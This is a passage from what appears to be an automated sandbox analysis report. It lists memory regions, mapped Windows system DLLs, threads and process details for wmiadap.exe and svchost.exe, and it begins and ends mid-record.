region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2711 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2712 start_va = 0x7fefbd60000 end_va = 0x7fefbd73fff entry_point = 0x7fefbd60000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 2713 start_va = 0x7fefd270000 end_va = 0x7fefd29ffff entry_point = 0x7fefd270000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 2714 start_va = 0x7fee52f0000 end_va = 0x7fee5301fff entry_point = 0x7fee52f0000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll") Region: id = 2715 start_va = 0x7fee6a30000 end_va = 0x7fee6a39fff entry_point = 0x7fee6a30000 region_type = mapped_file name = "schedcli.dll" filename = "\\Windows\\System32\\schedcli.dll" (normalized: "c:\\windows\\system32\\schedcli.dll") Region: id = 2716 start_va = 0x7fefb740000 end_va = 0x7fefb74bfff entry_point = 0x7fefb740000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 2717 start_va = 0x16e0000 end_va = 0x1a22fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000016e0000" filename = "" Region: id = 2718 start_va = 0x7fee4fb0000 end_va = 0x7fee4fdbfff entry_point = 0x7fee4fb0000 region_type = mapped_file name = "wmipcima.dll" filename = "\\Windows\\System32\\wbem\\wmipcima.dll" (normalized: "c:\\windows\\system32\\wbem\\wmipcima.dll") Region: id = 2719 start_va = 0x7fef9bc0000 end_va = 0x7fef9bcefff entry_point = 0x7fef9bc0000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 2720 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2721 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Thread: id = 237 os_tid = 0xb80 Thread: id = 238 os_tid = 0xb64 Thread: id = 239 os_tid = 0xb90 Thread: id = 240 os_tid = 0xb9c Thread: id = 241 os_tid = 0xb84 Thread: id = 242 os_tid = 0xb88 Thread: id = 243 os_tid = 0xb78 Thread: id = 244 os_tid = 0xb8c Thread: id = 245 os_tid = 0xba0 Thread: id = 315 os_tid = 0xc4 Process: id = "24" image_name = "wmiadap.exe" filename = "c:\\windows\\system32\\wbem\\wmiadap.exe" page_root = "0x1ad68000" os_pid = "0x9a8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x36c" cmd_line = "wmiadap.exe /F /T /R" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2805 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2806 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2807 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2808 start_va = 0xd0000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2809 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2810 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2811 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2812 start_va = 0xff960000 end_va = 0xff98ffff entry_point = 0xff960000 region_type = mapped_file name = "wmiadap.exe" filename = "\\Windows\\System32\\wbem\\WMIADAP.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiadap.exe") Region: id = 2813 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2814 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2815 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2816 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2817 start_va = 0x280000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 2818 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2819 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2820 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2821 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2822 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2823 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2824 start_va = 0x150000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2825 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 2826 start_va = 0x260000 end_va = 0x260fff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2827 start_va = 0x270000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 2828 start_va = 0x380000 end_va = 0x507fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 2829 start_va = 0x510000 end_va = 0x690fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 2830 start_va = 0x6a0000 end_va = 0x75ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 2831 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2832 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2833 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2834 start_va = 0x7fef9240000 end_va = 0x7fef9266fff entry_point = 0x7fef9240000 region_type = mapped_file name = "loadperf.dll" filename = "\\Windows\\System32\\loadperf.dll" (normalized: "c:\\windows\\system32\\loadperf.dll") Region: id = 2835 start_va = 0x7fefbcd0000 end_va = 0x7fefbd55fff entry_point = 0x7fefbcd0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2836 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2837 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2838 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2839 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2840 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2841 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2842 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2843 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2844 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2845 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2846 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2847 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2848 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3051 start_va = 0x760000 end_va = 0x760fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 3052 start_va = 0x770000 end_va = 0x770fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 3053 start_va = 0x7c0000 end_va = 0x83ffff entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 3054 start_va = 0x840000 end_va = 0x8bffff entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 3055 start_va = 0x940000 end_va = 0x9bffff entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 3056 start_va = 0xa10000 end_va = 0xa8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 3057 start_va = 0xb10000 end_va = 0xb8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 3058 start_va = 0xb90000 end_va = 0xe5efff entry_point = 0xb90000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3059 start_va = 0xef0000 end_va = 0xf6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ef0000" filename = "" Region: id = 3060 start_va = 0x7fef5e10000 end_va = 0x7fef5e23fff entry_point = 0x7fef5e10000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 3061 start_va = 0x7fef6370000 end_va = 0x7fef6396fff entry_point = 0x7fef6370000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 3062 start_va = 0x7fef63a0000 end_va = 0x7fef6481fff entry_point = 0x7fef63a0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 3063 start_va = 0x7fefbf00000 end_va = 0x7fefbf0efff entry_point = 0x7fefbf00000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 3064 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3065 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3066 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3067 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3068 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3069 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3070 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 3071 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3072 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 3073 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Thread: id = 255 os_tid = 0x938 Thread: id = 256 os_tid = 0x418 Thread: id = 257 os_tid = 0x9c0 Thread: id = 258 os_tid = 0x9d4 Thread: id = 299 os_tid = 0x9c4 Thread: id = 300 os_tid = 0x9bc Process: id = "25" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9e4d000" os_pid = "0x2cc" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000bb5d" [0xc000000f], "LOCAL" [0x7] Region: id = 2849 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2850 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2851 start_va = 0x30000 end_va = 0xaffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2852 start_va = 0xb0000 end_va = 0xb3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 2853 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2854 start_va = 0xd0000 end_va = 0x136fff entry_point = 0xd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2855 start_va = 0x140000 end_va = 0x141fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2856 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2857 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2858 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 2859 start_va = 0x180000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 2860 start_va = 0x280000 end_va = 0x33ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 2861 start_va = 0x340000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 2862 start_va = 0x360000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 2863 start_va = 0x370000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 2864 start_va = 0x470000 end_va = 0x5f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 2865 start_va = 0x600000 end_va = 0x780fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 2866 start_va = 0x790000 end_va = 0xb82fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 2867 start_va = 0xb90000 end_va = 0xbcffff entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 2868 start_va = 0xbd0000 end_va = 0xbeffff entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 2869 start_va = 0xbf0000 end_va = 0xc0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 2870 start_va = 0xc10000 end_va = 0xc10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c10000" filename = "" Region: id = 2871 start_va = 0xc20000 end_va = 0xc20fff entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 2872 start_va = 0xc30000 end_va = 0xcaffff entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 2873 start_va = 0xcb0000 end_va = 0xcb0fff entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 2874 start_va = 0xcc0000 end_va = 0xcc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cc0000" filename = "" Region: id = 2875 start_va = 0xcd0000 end_va = 0xcd1fff entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 2876 start_va = 0xce0000 end_va = 0xce0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ce0000" filename = "" Region: id = 2877 start_va = 0xcf0000 end_va = 0xd6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 2878 start_va = 0xd70000 end_va = 0xd72fff entry_point = 0xd70000 region_type = mapped_file name = "winmgmtr.dll" filename = "\\Windows\\System32\\wbem\\WinMgmtR.dll" (normalized: "c:\\windows\\system32\\wbem\\winmgmtr.dll") Region: id = 2879 start_va = 0xd80000 end_va = 0xde1fff entry_point = 0xd80000 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 2880 start_va = 0xdf0000 end_va = 0xdf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000df0000" filename = "" Region: id = 2881 start_va = 0xe00000 end_va = 0xe00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e00000" filename = "" Region: id = 2882 start_va = 0xe10000 end_va = 0xe10fff entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 2883 start_va = 0xe50000 end_va = 0xe57fff entry_point = 0x0 region_type = private name = "private_0x0000000000e50000" filename = "" Region: id = 2884 start_va = 0xe60000 end_va = 0xedffff entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 2885 start_va = 0xf00000 end_va = 0xf7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 2886 start_va = 0xf90000 end_va = 0xff1fff entry_point = 0xf90000 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 2887 start_va = 0x1060000 end_va = 0x132efff entry_point = 0x1060000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2888 start_va = 0x1330000 end_va = 0x142ffff entry_point = 0x0 region_type = private name = "private_0x0000000001330000" filename = "" Region: id = 2889 start_va = 0x1450000 end_va = 0x14cffff entry_point = 0x0 region_type = private name = "private_0x0000000001450000" filename = "" Region: id = 2890 start_va = 0x1530000 end_va = 0x15affff entry_point = 0x0 region_type = private name = "private_0x0000000001530000" filename = "" Region: id = 2891 start_va = 0x15d0000 end_va = 0x164ffff entry_point = 0x0 region_type = private name = "private_0x00000000015d0000" filename = "" Region: id = 2892 start_va = 0x1650000 end_va = 0x16cffff entry_point = 0x0 region_type = private name = "private_0x0000000001650000" filename = "" Region: id = 2893 start_va = 0x16f0000 end_va = 0x176ffff entry_point = 0x0 region_type = private name = "private_0x00000000016f0000" filename = "" Region: id = 2894 start_va = 0x17e0000 end_va = 0x18dffff entry_point = 0x0 region_type = private name = "private_0x00000000017e0000" filename = "" Region: id = 2895 start_va = 0x1910000 end_va = 0x198ffff entry_point = 0x0 region_type = private name = "private_0x0000000001910000" filename = "" Region: id = 2896 start_va = 0x19a0000 end_va = 0x1a1ffff entry_point = 0x0 region_type = private name = "private_0x00000000019a0000" filename = "" Region: id = 2897 start_va = 0x1a80000 end_va = 0x1afffff entry_point = 0x0 region_type = private name = "private_0x0000000001a80000" filename = "" Region: id = 2898 start_va = 0x1b30000 end_va = 0x1baffff entry_point = 0x0 region_type = private name = "private_0x0000000001b30000" filename = "" Region: id = 2899 start_va = 0x1bb0000 end_va = 0x1c2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001bb0000" filename = "" Region: id = 2900 start_va = 0x1c60000 end_va = 0x1cdffff entry_point = 0x0 region_type = private name = "private_0x0000000001c60000" filename = "" Region: id = 2901 start_va = 0x1d80000 end_va = 0x1f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 2902 start_va = 0x1ff0000 end_va = 0x206ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 2903 start_va = 0x20a0000 end_va = 0x211ffff entry_point = 0x0 region_type = private name = "private_0x00000000020a0000" filename = "" Region: id = 2904 start_va = 0x2120000 end_va = 0x251ffff entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 2905 start_va = 0x2520000 end_va = 0x259ffff entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 2906 start_va = 0x25a0000 end_va = 0x261ffff entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 2907 start_va = 0x2620000 end_va = 0x271ffff entry_point = 0x0 region_type = private name = "private_0x0000000002620000" filename = "" Region: id = 2908 start_va = 0x2720000 end_va = 0x2b22fff entry_point = 0x0 region_type = private name = "private_0x0000000002720000" filename = "" Region: id = 2909 start_va = 0x2ba0000 end_va = 0x2c1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ba0000" filename = "" Region: id = 2910 start_va = 0x2c20000 end_va = 0x341ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c20000" filename = "" Region: id = 2911 start_va = 0x34c0000 end_va = 0x353ffff entry_point = 0x0 region_type = private name = "private_0x00000000034c0000" filename = "" Region: id = 2912 start_va = 0x3560000 end_va = 0x35dffff entry_point = 0x0 region_type = private name = "private_0x0000000003560000" filename = "" Region: id = 2913 start_va = 0x35e0000 end_va = 0x365ffff entry_point = 0x0 region_type = private name = "private_0x00000000035e0000" filename = "" Region: id = 2914 start_va = 0x36a0000 end_va = 0x371ffff entry_point = 0x0 region_type = private name = "private_0x00000000036a0000" filename = "" Region: id = 2915 start_va = 0x3720000 end_va = 0x379ffff entry_point = 0x0 region_type = private name = "private_0x0000000003720000" filename = "" Region: id = 2916 start_va = 0x37f0000 end_va = 0x386ffff entry_point = 0x0 region_type = private name = "private_0x00000000037f0000" filename = "" Region: id = 2917 start_va = 0x38a0000 end_va = 0x391ffff entry_point = 0x0 region_type = private name = "private_0x00000000038a0000" filename = "" Region: id = 2918 start_va = 0x3970000 end_va = 0x39effff entry_point = 0x0 region_type = private name = "private_0x0000000003970000" filename = "" Region: id = 2919 start_va = 0x39f0000 end_va = 0x3a6ffff entry_point = 0x0 region_type = private name = "private_0x00000000039f0000" filename = "" Region: id = 2920 start_va = 0x3a90000 end_va = 0x3b0ffff entry_point = 0x0 region_type = private name = "private_0x0000000003a90000" filename = "" Region: id = 2921 start_va = 0x3b90000 end_va = 0x3c0ffff entry_point = 0x0 region_type = private name = "private_0x0000000003b90000" filename = "" Region: id = 2922 start_va = 0x3c20000 end_va = 0x3c9ffff entry_point = 0x0 region_type = private name = "private_0x0000000003c20000" filename = "" Region: id = 2923 start_va = 0x3ce0000 end_va = 0x3d5ffff entry_point = 0x0 region_type = private name = "private_0x0000000003ce0000" filename = "" Region: id = 2924 start_va = 0x3d60000 end_va = 0x3ddffff entry_point = 0x0 region_type = private name = "private_0x0000000003d60000" filename = "" Region: id = 2925 start_va = 0x3e40000 end_va = 0x3ebffff entry_point = 0x0 region_type = private name = "private_0x0000000003e40000" filename = "" Region: id = 2926 start_va = 0x3ec0000 end_va = 0x3f3ffff entry_point = 0x0 region_type = private name = 